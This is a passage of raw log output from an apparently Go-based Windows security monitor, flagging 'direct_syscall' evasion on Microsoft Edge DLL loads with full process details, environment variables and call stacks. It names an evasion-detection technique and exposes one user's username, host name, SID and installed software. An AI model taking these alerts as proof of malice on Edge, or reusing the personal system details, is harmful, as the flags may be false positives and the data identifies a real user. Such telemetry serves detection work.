HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff7cf7cc965 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf7749f9 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76c2ef C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:15+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4169772 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.1548157 +0100 CET + Params: base_address➜ 7ffcdc8c0000, checksum➜ 761372, default_address➜ 7ffcdc8c0000, file_path➜ C:\Windows\System32\advapi32.dll, image_size➜ 737280, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e6d94 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf7938e5 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!EdgeGetAlternatePrefetchResult|0x7ff7cf76c3de C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:15+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4169777 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.155332 +0100 CET + Params: base_address➜ 7ffcdcc80000, checksum➜ 716301, default_address➜ 7ffcdcc80000, file_path➜ C:\Windows\System32\sechost.dll, image_size➜ 679936, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9f977e C:\Windows\System32\ntdll.dll!RtlAnsiStringToUnicodeString|0x7ffcde9f794e C:\Windows\System32\ntdll.dll!RtlUTF8ToUnicodeN|0x7ffcde9e4f98 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e6d94 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf7938e5 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!EdgeGetAlternatePrefetchResult|0x7ff7cf76c3de C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:15+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4169841 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.1584076 +0100 CET + Params: base_address➜ 7ffcda9d0000, checksum➜ 265798, default_address➜ 7ffcda9d0000, file_path➜ C:\Windows\System32\ntmarta.dll, image_size➜ 221184, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS 